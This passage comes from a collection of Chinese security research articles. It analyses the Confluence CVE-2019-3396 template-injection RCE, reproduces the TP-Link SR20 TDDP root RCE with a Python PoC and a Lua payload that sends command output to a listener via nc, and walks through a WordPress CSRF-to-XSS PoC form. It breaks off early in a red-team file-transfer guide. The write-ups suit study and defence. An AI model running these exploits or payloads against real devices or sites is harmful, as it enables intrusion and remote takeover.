class="o">;</span><span class="o">}</span><span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">url</span><span class="o">))</span> <span class="o">{</span><span class="k">return</span> <span class="kc">null</span><span class="o">;</span><span class="o">}</span> <span class="k">else</span> <span class="o">{</span><span class="n">Map</span><span class="o"><</span><span class="n">String</span><span class="o">,</span> <span class="n">Object</span><span class="o">></span> <span class="n">contextMap</span> <span class="o">=</span> <span class="k">this</span><span class="o">.</span><span class="na">getDefaultVelocityContext</span><span class="o">();</span><span class="n">Iterator</span> <span class="n">var7</span> <span class="o">=</span> <span class="n">params</span><span class="o">.</span><span class="na">entrySet</span><span class="o">().</span><span class="na">iterator</span><span class="o">();</span><span class="k">while</span><span class="o">(</span><span class="n">var7</span><span class="o">.</span><span class="na">hasNext</span><span class="o">())</span> <span class="o">{</span><span class="n">Entry</span><span class="o"><</span><span class="n">String</span><span class="o">,</span> <span class="n">String</span><span class="o">></span> <span class="n">entry</span> <span class="o">=</span> <span class="o">(</span><span class="n">Entry</span><span class="o">)</span><span class="n">var7</span><span class="o">.</span><span class="na">next</span><span class="o">();</span><span class="k">if</span> <span class="o">(((</span><span class="n">String</span><span class="o">)</span><span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">()).</span><span class="na">contentEquals</span><span class="o">(</span><span class="s">"tweetHtml"</span><span class="o">))</span> <span class="o">{</span><span class="n">contextMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">(),</span> <span class="n">entry</span><span class="o">.</span><span class="na">getValue</span><span class="o">());</span><span class="o">}</span> <span class="k">else</span> <span class="o">{</span><span class="n">contextMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">entry</span><span class="o">.</span><span class="na">getKey</span><span class="o">(),</span> <span class="n">GeneralUtil</span><span class="o">.</span><span class="na">htmlEncode</span><span class="o">((</span><span class="n">String</span><span class="o">)</span><span class="n">entry</span><span class="o">.</span><span class="na">getValue</span><span class="o">()));</span><span class="o">}</span><span class="o">}</span><span class="n">contextMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"urlHtml"</span><span class="o">,</span> <span class="n">GeneralUtil</span><span class="o">.</span><span class="na">htmlEncode</span><span class="o">(</span><span class="n">url</span><span class="o">));</span><span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isNotEmpty</span><span class="o">(</span><span class="n">width</span><span class="o">))</span> <span class="o">{</span><span class="n">contextMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"width"</span><span class="o">,</span> <span class="n">GeneralUtil</span><span class="o">.</span><span class="na">htmlEncode</span><span class="o">(</span><span class="n">width</span><span class="o">));</span><span class="o">}</span> <span class="k">else</span> <span class="o">{</span><span class="n">contextMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"width"</span><span class="o">,</span> <span class="s">"400"</span><span class="o">);</span><span class="o">}</span><span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isNotEmpty</span><span class="o">(</span><span class="n">height</span><span class="o">))</span> <span class="o">{</span><span class="n">contextMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"height"</span><span class="o">,</span> <span class="n">GeneralUtil</span><span class="o">.</span><span class="na">htmlEncode</span><span class="o">(</span><span class="n">height</span><span class="o">));</span><span class="o">}</span> <span class="k">else</span> <span class="o">{</span><span class="n">contextMap</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"height"</span><span class="o">,</span> <span class="s">"300"</span><span class="o">);</span><span class="o">}</span><span class="k">return</span> <span class="k">this</span><span class="o">.</span><span class="na">getRenderedTemplate</span><span class="o">(</span><span class="n">template</span><span class="o">,</span> <span class="n">contextMap</span><span class="o">);</span><span class="o">}</span><span class="o">}</span>_template
取出来赋值给template
,其他传递进来的参数取出来经过判断之后放入到contextMap
,调用getRenderedTemplate
函数,也就是调用VelocityUtils.getRenderedTemplate
。123<span class="kd">protected</span> <span class="n">String</span> <span class="nf">getRenderedTemplate</span><span class="o">(</span><span class="n">String</span> <span class="n">template</span><span class="o">,</span> <span class="n">Map</span><span class="o"><</span><span class="n">String</span><span class="o">,</span> <span class="n">Object</span><span class="o">></span> <span class="n">contextMap</span><span class="o">){</span><span class="k">return</span> <span class="n">VelocityUtils</span><span class="o">.</span><span class="na">getRenderedTemplate</span><span class="o">(</span><span class="n">template</span><span class="o">,</span> <span class="n">contextMap</span><span class="o">);</span><span class="o">}</span>一路调用,调用链如下图,最后来到
/com/atlassian/confluence/util/velocity/ConfigurableResourceManager.class
的loadResource
函数,来获取模板。这里调用了4个
ResourceLoader
去取模板。1234<span class="n">com</span><span class="o">.</span><span class="na">atlassian</span><span class="o">.</span><span class="na">confluence</span><span class="o">.</span><span class="na">setup</span><span class="o">.</span><span class="na">velocity</span><span class="o">.</span><span class="na">HibernateResourceLoader</span><span class="n">org</span><span class="o">.</span><span class="na">apache</span><span class="o">.</span><span class="na">velocity</span><span class="o">.</span><span class="na">runtime</span><span class="o">.</span><span class="na">resource</span><span class="o">.</span><span class="na">loader</span><span class="o">.</span><span class="na">FileResourceLoader</span><span class="n">org</span><span class="o">.</span><span class="na">apache</span><span class="o">.</span><span class="na">velocity</span><span class="o">.</span><span class="na">runtime</span><span class="o">.</span><span class="na">resource</span><span class="o">.</span><span class="na">loader</span><span class="o">.</span><span class="na">ClasspathResourceLoader</span><span class="n">com</span><span class="o">.</span><span class="na">atlassian</span><span class="o">.</span><span class="na">confluence</span><span class="o">.</span><span class="na">setup</span><span class="o">.</span><span class="na">velocity</span><span class="o">.</span><span class="na">DynamicPluginResourceLoader</span>这里主要看下Velocity自带的
FileResourceLoader
和ClasspathResourceLoader
FileResourceLoader
会对用户传入的模板路径使用normalizePath
函数进行校验可以看到,过滤了
/../
,这样就导致没有办法跳目录了。路径过滤后调用
findTemplate
查找模板,可看到,会拼接一个固定的path
,这是Confluence的安装路径。也就是说现在可以利用
FileResourceLoader
来读取Confluence目录下面的文件了。尝试读取
/WEB-INF/web.xml
文件,可以看到,是成功的加载到了该文件。但是这个无法跳出Confluence的目录,因为不能用
/../
。再来看下
ClasspathResourceLoader
123456789<span class="kd">public</span> <span class="n">InputStream</span> <span class="nf">getResourceStream</span><span class="o">(</span><span class="n">String</span> <span class="n">name</span><span class="o">)</span> <span class="kd">throws</span> <span class="n">ResourceNotFoundException</span> <span class="o">{</span><span class="n">InputStream</span> <span class="n">result</span> <span class="o">=</span> <span class="kc">null</span><span class="o">;</span><span class="k">if</span> <span class="o">(</span><span class="n">StringUtils</span><span class="o">.</span><span class="na">isEmpty</span><span class="o">(</span><span class="n">name</span><span class="o">))</span> <span class="o">{</span><span class="k">throw</span> <span class="k">new</span> <span class="n">ResourceNotFoundException</span><span class="o">(</span><span class="s">"No template name provided"</span><span class="o">);</span><span class="o">}</span> <span class="k">else</span> <span class="o">{</span><span class="k">try</span> <span class="o">{</span><span class="n">result</span> <span class="o">=</span> <span class="n">ClassUtils</span><span class="o">.</span><span class="na">getResourceAsStream</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">getClass</span><span class="o">(),</span> <span class="n">name</span><span class="o">);</span><span class="o">......</span><span class="o">}</span>跟进
ClassUtils.getResourceAsStream
12345678910111213141516171819202122<span class="kd">public</span> <span class="kd">static</span> <span class="n">InputStream</span> <span class="nf">getResourceAsStream</span><span class="o">(</span><span class="n">Class</span> <span class="n">claz</span><span class="o">,</span> <span class="n">String</span> <span class="n">name</span><span class="o">)</span> <span class="o">{</span><span class="k">while</span><span class="o">(</span><span class="n">name</span><span class="o">.</span><span class="na">startsWith</span><span class="o">(</span><span class="s">"/"</span><span class="o">))</span> <span class="o">{</span><span class="n">name</span> <span class="o">=</span> <span class="n">name</span><span class="o">.</span><span class="na">substring</span><span class="o">(</span><span class="mi">1</span><span class="o">);</span><span class="o">}</span><span class="n">ClassLoader</span> <span class="n">classLoader</span> <span class="o">=</span> <span class="n">Thread</span><span class="o">.</span><span class="na">currentThread</span><span class="o">().</span><span class="na">getContextClassLoader</span><span class="o">();</span><span class="n">InputStream</span> <span class="n">result</span><span class="o">;</span><span class="k">if</span> <span class="o">(</span><span class="n">classLoader</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span><span class="n">classLoader</span> <span class="o">=</span> <span class="n">claz</span><span class="o">.</span><span class="na">getClassLoader</span><span class="o">();</span><span class="n">result</span> <span class="o">=</span> <span class="n">classLoader</span><span class="o">.</span><span class="na">getResourceAsStream</span><span class="o">(</span><span class="n">name</span><span class="o">);</span><span class="o">}</span> <span class="k">else</span> <span class="o">{</span><span class="n">result</span> <span class="o">=</span> <span class="n">classLoader</span><span class="o">.</span><span class="na">getResourceAsStream</span><span class="o">(</span><span class="n">name</span><span class="o">);</span><span class="k">if</span> <span class="o">(</span><span class="n">result</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span><span class="n">classLoader</span> <span class="o">=</span> <span class="n">claz</span><span class="o">.</span><span class="na">getClassLoader</span><span class="o">();</span><span class="k">if</span> <span class="o">(</span><span class="n">classLoader</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span><span class="n">result</span> <span class="o">=</span> <span class="n">classLoader</span><span class="o">.</span><span class="na">getResourceAsStream</span><span class="o">(</span><span class="n">name</span><span class="o">);</span><span class="o">}</span><span class="o">}</span><span class="o">}</span><span class="k">return</span> <span class="n">result</span><span class="o">;</span><span class="o">}</span>会跳到
/org/apache/catalina/loader/WebappClassLoaderBase.class
跟进,发现会拼接
/WEB-INF/classes
,而且其中也是调用了normalize
对传入的路径进行过滤。。这里还是可以用
../
跳一级目录。尝试读取一下
../web.xml
,可以看到,也是可以读取成功的,但是仍然无法跳出目录。我这里测试用的版本是
6.14.1
,而后尝试了file://
,http://
,https://
都没有成功。后来我尝试把Cookie删掉,发现还是可以读取文件,确认了这个漏洞不需要权限,但是跳不出目录。应急就在这里卡住了。而后的几天,有大佬说用
file://
协议可以跳出目录限制,我惊了,我确定当时是已经试过了,没有成功的。看了大佬的截图,发现用的是6.9.0的版本,我下载了,尝试了一下,发现真的可以。问题还是在
ClasspathResourceLoader
上面,步骤和之前的是一样的,断到/org/apache/catalina/loader/WebappClassLoaderBase.class
的getResourceAsStream
方法前面拼接
/WEB-INF/classes
获取失败后,继续往下进行。跟进
findResource
,函数前面仍然获取失败关键的地方就在这里,会调用
super.findResource(name)
,这里返回了URL,也就是能获取到对象。不仅如此,这里还可以使用其他协议(https,ftp等)获取远程的对象,意味着可以加载远程的对象。
获取到URL对象之后,继续回到之前的
getResourceAsStream
,可以看到,当返回的url不为null时,会调用
url.openStream()
获取数据。最终获取到数据给Velocity渲染。
尝试一下
至于6.14.1为啥不行,赶着应急,后续会跟,如果有新的发现,会同步上来,目前只看到
ClassLoader
不一样。6.14.1
6.9.0
这两个loader的关系如下
现在可以加载本地和远程模板了,可以尝试进行RCE。
关于Velocity的RCE,基本上payload都来源于15年blackhat的服务端模板注入的议题,但是在Confluence上用不了,因为在调用方法的时候会经过
velocity-htmlsafe-1.5.1.jar
,里面多了一些过滤和限制。但是仍然可以利用反射来执行命令。用
python -m pyftpdlib -p 2121
开启一个简单的ftp服务器,将payload保存成rce.vm,保存在当前目录。将
_template
设置成ftp://localhost:2121/rce.vm
,发送,成功执行命令。对于命令回显,同样可以使用反射构造出payload,执行
ipconfig
的结果。漏洞影响
根据 ZoomEye 网络空间搜索引擎对关键字 "X-Confluence" 进行搜索,共得到 61,856 条结果,主要分布美国、德国、中国等国家。
全球分布(非漏洞影响范围)
中国分布(非漏洞影响范围)
漏洞检测
2019年4月4日,404实验室公布了该漏洞的检测PoC,可以利用这个PoC检测Confluence是否受该漏洞影响。
参考链接
- 漏洞检测PoC
- Remote code execution via Widget Connector macro - CVE-2019-3396
- 漏洞预警 | Confluence Server 远程代码执行漏洞
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/884/
-
重现 TP-Link SR20 本地网络远程代码执行漏洞
作者:xax007@知道创宇404 ScanV 安全服务团队
简述
3月26号 Google 安全开发人员 Matthew Garrett在 Twitter 上公布了 TP-Link Smart Home Router (SR20) 的远程代码执行漏洞,公布的原因是他去年 12 月份将相关漏洞报告提交给 TP-Link后没有收到任何回复,于是就公开了,该漏洞截至目前官方修复,在最新固件中漏洞仍然存在,属于 0day 漏洞,当我看到漏洞证明代码(POC)后决定尝试重现此漏洞
TP-Link SR20 是一款支持 Zigbee 和 Z-Wave 物联网协议可以用来当控制中枢 Hub 的触屏 Wi-Fi 路由器,此远程代码执行漏洞允许用户在设备上以 root 权限执行任意命令,该漏洞存在于 TP-Link 设备调试协议(TP-Link Device Debug Protocol 英文简称 TDDP) 中,TDDP 是 TP-Link 申请了专利的调试协议,基于 UDP 运行在 1040 端口
TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为
0x31
时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞漏洞环境搭建
以下所有操作都在 Ubuntu LTS 18.04 系统下进行
源码编译 QEMU
Qemu 是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备,我们最熟悉的就是能够模拟一台能够独立运行操作系统的虚拟机
APT 仓库有 QEMU,本可以使用 APT
apt install qemu
直接安装,但 APT 仓库中的版本通常都不是最新的,担心会有未知的 bug,因此选择从 QEMU 官网下载最新稳定版源码来编译安装12345$ wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码$ tar xvJf qemu-4.0.0-rc1.tar.xz #解压源码压缩包$ cd qemu-4.0.0-rc1 # 进入源码目录$ ./configure --target-list=arm-softmmu --audio-drv-list=alsa,pa # 编译前配置$ make # 编译如果 configure 时没有指定
target-list
参数,make 会编译针对所有平台的 QEMU 导致会耗很长很长的时间,因此可以选择只编译 ARM 版的 QEMU 来加快编译速度,至于选择 ARM 版是因为 TP-Link SR20 存在漏洞的固件基于是 ARM 架构,下文中会看到。编译完成后安装 checkinstall 来生成 deb 包
12$ sudo apt-get install checkinstall # 安装 checkinstall$ sudo checkinstall make install # 使用 checkinstall 生成 deb 包并安装如果不使用 checkinstall,直接
sudo make install
的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。安装完成后可以看到安装的版本
安装 Binwalk
Binwalk 是一款文件的分析工具,旨在协助研究人员对文件进行分析,提取及逆向工程
12345$ sudo apt install git$ git clone https://github.com/ReFirmLabs/binwalk$ cd binwalk$ python setup.py install$ sudo ./deps.sh $ Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖更详细的安装方法可以查看 Binwalk 的 GitHub wiki
PS: 本人在最后一步运行
deps.sh
安装依赖的时cramfstools
编译出错导致安装失败,如果你也遇到这个问题,不必理会,因为针对本文讲述的漏洞,这个包并不需要安装从固件提取文件系统
从 TP-Link SR20 设备官网下载固件, 下载下来是一个 zip 压缩包,解压以后进入解压后目录,可以看到一个名字很长的叫
tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
的文件,这个就是该 SR20 设备的 firmware (固件)使用 binwalk 查看该固件
使用 binwalk 把
Squashfs filesystem
从固件中提取出来,在固件 bin 文件所在目录执行1$ binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.binbinwalk 会在当前目录的
_+bin文件名
目录下生成提取出来的固件里的所有内容,进入到该目录squashfs-root
目录就是我们需要的固件文件系统在该文件系统目录下查找存在漏洞的 tddp 文件并查看文件类型可以看到该文件是一个 ARM 架构的小端(Small-Endian)32 位 ELF 文件
最高有效位 MSB(Most Significant Bit) 对应大端 (Big-endian)
最低有效位 LSB(Least Significant Bit) 对应小端 (Little-endian)
详细介绍可阅读:大端小端与MSB和LSB这时可以使用 QEMU 来运行该文件
1$ qemu-arm -L . ./usr/bin/tddpPS: 不加
-L .
参数运行 qemu-arm 会报错,-L .
参数会把当前目录加入到 PATH 路径中经过测试发现通过这种方式运行 TDDP 程序并不能触发该漏洞,因此需要搭建完整的 ARM QEMU 虚拟机环境
搭建 ARM QEMU 虚拟机环境
ARM CPU 有两个矢量浮点(软浮点和硬浮点)具体区别可以查看 Stackoverflow,本次选择使用硬浮点 armhf
从 Debian 官网下载 QEMU 需要的 Debian ARM 系统的三个文件:
- debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M
- initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M
- vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M
把以上三个文件放在同一个目录执行以下命令
123$ sudo tunctl -t tap0 -u `whoami` # 为了与 QEMU 虚拟机通信,添加一个虚拟网卡$ sudo ifconfig tap0 10.10.10.1/24 # 为添加的虚拟网卡配置 IP 地址$ qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic虚拟机启动成功后会提示登陆
用户名和密码都为
root
配置网卡IP
1ifconfig eth0 10.10.10.2/24此时 QEMU 虚拟机可以与宿主机进行网络通信
现在需要把从固件中提取出的文件系统打包后上传到 QEMU 虚拟机中
压缩固件文件系统目录下的整个文件
1$ tar -cjpf squashfs-root.tar.bz2 squashfs-root/使用 Python 搭建简易 HTTP Server
1$ python -m SimpleHTTPServer在 QEMU 虚拟机中下载上面打包好的文件
1$ wget http://10.10.10.1:8000/squashfs-root.tar.bz2使用 chroot 切换根目录固件文件系统
123$ mount -o bind /dev ./squashfs-root/dev/$ mount -t proc /proc/ ./squashfs-root/proc/$ chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shellPS: 使用 chroot 后,系统读取的是新根下的目录和文件,也就是固件的目录和文件 chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要现挂载这两个目录
如果你有树莓派,可以直接拿来用,几年前买过一个树莓派2B+,经过我的测试,安装了 Raspbian 的树莓派完全可以拿做做 ARM 的测试环境
搭建 TFTP Server
在宿主机安装 atftpd 搭建 TFTP 服务
1$ sudo apt install atftpd- 编辑
/etc/default/atftpd
文件,USE_INETD=true
改为USE_INETD=false
- 修改
/srv/tftp
为/tftpboot
最终
/etc/default/atftpd
文件内容如下:123456USE_INETD=false# OPTIONS below are used only with init scriptOPTIONS="--tftpd-timeout 300 --retry-timeout 5 --mcast-port 1758 --mcast-addr 239.239.239.0-255 --mcast-ttl 1 --maxthread 100 --verbose=5 /tftpboot"$ mkdir /tftpboot$ chmod 777 /tftpboot$ sudo systemctl start atftpd # 启动 atftpd如果执行命令
sudo systemctl status atftpd
查看 atftpd 服务状态时提示
atftpd: can't bind port :69/udp
无法绑定端口可以执行
sudo systemctl stop inetutils-inetd.service
停用inetutils-inetd
服务后再执行
sudo systemctl restart atftpd
重新启动 atftpd 即可正常运行 atftpd此时环境已搭建完毕
重现漏洞
在 atftp 的根目录
/tftpboot
下写入 payload 文件payload 文件内容为:
123function config_test(config)os.execute("id | nc 10.10.10.1 1337")end重现步骤为:
- QEMU 虚拟机中启动 tddp 程序
- 宿主机使用 NC 监听端口
- 执行 POC,获取命令执行结果
漏洞证明代码(Proof of concept):
123456789101112131415161718192021222324252627282930313233343536373839404142#!/usr/bin/python3# Copyright 2019 Google LLC.# SPDX-License-Identifier: Apache-2.0# Create a file in your tftp directory with the following contents:##function config_test(config)# os.execute("telnetd -l /bin/login.sh")#end## Execute script as poc.py remoteaddr filenameimport sysimport binasciiimport socketport_send = 1040port_receive = 61000tddp_ver = "01"tddp_command = "31"tddp_req = "01"tddp_reply = "00"tddp_padding = "%0.16X" % 00tddp_packet = "".join([tddp_ver, tddp_command, tddp_req, tddp_reply, tddp_padding])sock_receive = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock_receive.bind(('', port_receive))# Send a requestsock_send = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)packet = binascii.unhexlify(tddp_packet)argument = "%s;arbitrary" % sys.argv[2]packet = packet + argument.encode()sock_send.sendto(packet, (sys.argv[1], port_send))sock_send.close()response, addr = sock_receive.recvfrom(1024)r = response.encode('hex')print(r)最终成功重现此漏洞
参考链接 4 中说到 TP-Link 的 TL-WA5210g 无线路由器的 TDDP 服务只能通过有线网络访问,连 Wi-Fi 也不能访问,由于手上没有 SR20设备,因此断定该 SR20 设备的 TDDP 端口可能也是这种情况,我想这应该就是官方未修复此漏洞的原因吧
参考链接 4 中详细介绍 TDDP 协议以及该协议 V1 和 V 2版本的区别等知识点
最后感谢知道创宇404实验室 @fenix 大佬的指点
参考链接
- Remote code execution as root from the local network on TP-Link SR20 routers
- How to set up QEMU 3.0 on Ubuntu 18.04
- Vivotek 摄像头远程栈溢出漏洞分析及利用
- 一个针对TP-Link调试协议(TDDP)漏洞挖掘的故事
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/879/
-
聊聊 WordPress 5.1.1 CSRF to RCE 漏洞
作者:LoRexxar'@知道创宇404实验室
时间:2019年3月14日2019年3月13日, RIPS团队公开了一篇关于WordPress 5.1.1的XSS漏洞详情,标题起的很响亮,叫做wordpress csrf to rce, https://blog.ripstech.com/2019/wordpress-csrf-to-rce/
下面我们就来详细聊聊这个漏洞。
关于WordPress防护
早在2017年10月25号,我曾经写过一篇关于WordPress安全机制的文章。
https://lorexxar.cn/2017/10/25/wordpress/
在其中,我着重描述了WordPress整体安全机制中的最核心机制,nonce安全机制。
出于防御CSRF攻击的目的,WordOress引入了Nonce安全机制,Nonce是通过用户id、token、操作属性来计算的。简单来说就是,Nonce值受限于用户以及操作属性两点,不同用户同一个操作Nonce值不同,同一个用户不同操作Nonce值不同,同一个用户同一个操作不同站Nonce不同。
虽然是出于防御CSRF攻击的目的诞生,但却在WordPress薄弱的后台安全防御下,打上了最强的一节防御外壳。
在WordPress Core开发团队的认知中,任何一个WordPress的超级管理员,都应该保管好自己的网站以及账号安全,超级管理员也应该能对自己的网站以及服务器负责。
在这样的观点设计下,WordPress的超级管理员可以直接修改后台插件模板来getshell,超级管理员的评论不会有任何过滤。
所以在WordPress的防御体系下,如何绕过Nonce、如何获取超级管理员权限、如果在非超级管理员权限下做任何可以威胁网站安全操作,就是WordPress安全漏洞的主要方向。
关于 CSRF to RCE 漏洞
在我们熟悉了WordPress的安全机制之后,我们再回到这个漏洞来。
作者提到,在WordPress的评论处有一个比较神奇的机制。刚才提到,对于WP的超级管理员来说,文章的评论不会有任何过滤,但仍旧有Nonce值
_wp_unfiltered_html_comment
,而WordPress其中有一些特殊的功能例如trackbacks and pingbacks会受到该值的影响,所以在评论处,Nonce不会直接阻止请求,而是另外生成了一套逻辑来做处理/wp-includes/comment.php line 3245
1234567if ( current_user_can( 'unfiltered_html' ) ) {if ( wp_create_nonce( 'unfiltered-html-comment' )!=$_POST['_wp_unfiltered_html_comment'] ) {kses_remove_filters(); // start with a clean slatekses_init_filters(); // set up the filters}}继续跟下去,我们简单的把逻辑写成伪代码
12345if 有权限:if nonce正确:wp_filter_post_kses()else:wp_filter_kses()而其中的区别就是,
wp_filter_post_kses
不会做任何过滤,会保留请求的完整评论,而wp_filter_kses
将只允许白名单的标签存在,就比如a
标签等。而问题的核心就在于,如何在
wp_filter_kses
的白名单中找到一个可以导致xss的输入点。这个点就在a
标签的rel
属性处理中。在/wp-includes/formatting.php line 3025
这里对整个标签全部做了一次处理,而没有额外的转义,再加上这里是通过拼接双引号符号来完成,那么如果我们构造一个评论为
1<a title='aa " onmouseover=alert() id=" ' rel='111'>please click me原链接中的属性会被取出,然后被双引号包裹,就成了
1<a title="aa " onmouseover=alert() id=" " rel='111'>please click me恶意链接就构造成功了,当管理员鼠标放在这条评论上时,则可以执行任意JS。
最后就是在执行任意JS之后,我们可以通过JS直接修改后台的模板,来实现管理员权限下的恶意操作,在我曾经写过的文章《从瑞士军刀到变形金刚--XSS攻击面拓展》中,我就曾经以WordPress为例子来举了多个从XSS到进一步恶意操作的利用方式。
https://lorexxar.cn/2017/08/23/xss-tuo/#Xss-to-Rce
我们仔细回顾一下整个漏洞,攻击者需要诱骗超级管理员点击他的恶意链接,然后需要手动把鼠标放置到评论上,甚至还需要保留该页面一段时间,整个攻击才有可能成功。
不难发现,如果我们把漏洞放在WordPress Core树立的安全标准下来说,该漏洞实际能算作是漏洞的部分只有一个,就是绕过Nonce机制实现的一个WordPress XSS漏洞。当我们抛开这个关键点之后,我们不难发现,这个漏洞看上次利用条件还不错,但实际上,在WordPress的安全机制中,插件安全一直是最严重的问题,一旦WordPress的高量级插件爆了一个后台的反射性XSS漏洞,利用难度反而甚至比这个漏洞更低,不是吗?
漏洞要求
- WordPress commit < 2504efcf9439c1961c4108057e8f3f48239a244b(5.2-alpha-44833)
- 超级管理员点击恶意链接。
漏洞复现
搭建完成后使用admin账号登陆
然后构造恶意页面
12345678910111213<span class="nt"><html></span><span class="c"><!-- CSRF PoC - generated by Burp Suite Professional --></span><span class="nt"><body></span><span class="nt"><form</span> <span class="na">action=</span><span class="s">"http://127.0.0.1/wordpress/wp-comments-post.php"</span> <span class="na">method=</span><span class="s">"POST"</span><span class="nt">></span><span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"comment"</span> <span class="na">value=</span><span class="s">"&lt;a title=&apos;aa &quot; onmouseover=alert() id=&quot; &apos; rel=&apos;111&apos;&gt;please click me"</span> <span class="nt">/></span><span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"%E5%8F%91%E8%A1%A8%E8%AF%84%E8%AE%BA /></span><span class="s"> <input type="</span><span class="err">hidden"</span> <span class="na">name=</span><span class="s">"comment_post_ID"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="nt">/></span><span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"comment_parent"</span> <span class="na">value=</span><span class="s">"0"</span> <span class="nt">/></span><span class="nt"><input</span> <span class="na">type=</span><span class="s">"hidden"</span> <span class="na">name=</span><span class="s">"_wp_unfiltered_html_comment"</span> <span class="na">value=</span><span class="s">"1"</span> <span class="nt">/></span><span class="nt"><input</span> <span class="na">type=</span><span class="s">"submit"</span> <span class="na">value=</span><span class="s">"Submit request"</span> <span class="nt">/></span><span class="nt"></form></span><span class="nt"></body></span><span class="nt"></html></span>使用登陆过超级管理员的浏览器点开该页面,然后就会提交评论,当鼠标移动到评论上是,则会执行相应的js
从漏洞补丁看漏洞分析
刚才我们说到了一个关键点,整个漏洞实际上可以看作是一个绕过Nonce机制实现的一个WordPress XSS漏洞。
这里我们从漏洞补丁出发,重新分析下这个漏洞的几个关键点。这个漏洞到目前为止,一共有2个commit用来修复。
- https://github.com/WordPress/WordPress/commit/2504efcf9439c1961c4108057e8f3f48239a244b#diff-e7c589fb0969e0f690bf2f051517d0ad
- https://github.com/WordPress/WordPress/commit/0292de60ec78c5a44956765189403654fe4d080b#diff-91531896c6f70c8a4b4b321d1369c988
第一个commit首先是修复了那个不该有的xss漏洞
esc_attr
是WordPress内置的过滤函数,专用来处理属性处的可能出现xss的位置。第二个commit就比较有趣了,在我看来这个commit更像是一个半成品,可能是由于修复比较匆忙,先把修复的patch更新了再说的感觉。
这个commit我们需要跟进到函数
wp_filter_kses
才看得懂,我们跟着这个函数一路跟下去,一直到/wp-includes/kses.php line 1039
这里的
pre_comment_content
大概像是请求的类型,要到wp_kses_allowed_html
去获取允许的标签以及属性列表。/wp-includes/kses.php line 829
由于还没有针对性的设置,所以在现在的版本中,如果没有设置nonce,享受的是和其他用户相同的评论过滤,也就从另一个角度修复了这个漏洞:>
写在最后
当我们一起分析完整个漏洞之后呢,不难发现RIPS为了pr不惜吹了个大牛,其实当我们把整个漏洞重新压缩之后,我们发现其实漏洞就相当于其他CMS爆了一个存储型XSS漏洞一样,之所以会有这样的利用链,反而是因为WordPress对其本身错误的安全认知导致的。
在WordPress的安全认知中,Nonce机制的确是一个效果非常好的安全机制,但从一个安全从业者的观点来说,WordPress的超级管理员应不应该等同于服务器管理员仍然是一个需要考虑的问题,在安全的世界里来说,给每个用户他们应有的权限才是最安全的做法,不是吗?
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/854/
-
红队后渗透测试中的文件传输技巧
作者:xax007@知道创宇404 ScanV安全服务团队
作者博客:https://xax007.github.io/在红队渗透测试当中往往需要最大化利用当前的环境绕过重兵防守的系统的防火墙、IDS、IPS等报警和监控系统进行文件传输,本文列出了多种利用操作系统默认自带的工具进行文件传输的方法。
搭建 HTTP server
Python
python2:
1python -m SimpleHTTPServer 1337以上命令会在当前目录启动 HTTP 服务,端口为 1337
python3:
1python -m http.server 1337以上命令会在当前目录启动 HTTP 服务,端口为 1337
PHP 5.4+
当 PHP 版本大于 5.4 是,可使用 PHP 在当前目录启动 HTTP 服务,端口为 1337
1php -S 0.0.0.0:1337Ruby
下面的命令会在当前目录下启动 HTTP 服务,端口为 1337
1ruby -rwebrick -e'WEBrick::HTTPServer.new(:Port => 1337, :DocumentRoot => Dir.pwd).start'Ruby 1.9.2+
1ruby -run -e httpd . -p 1337Perl
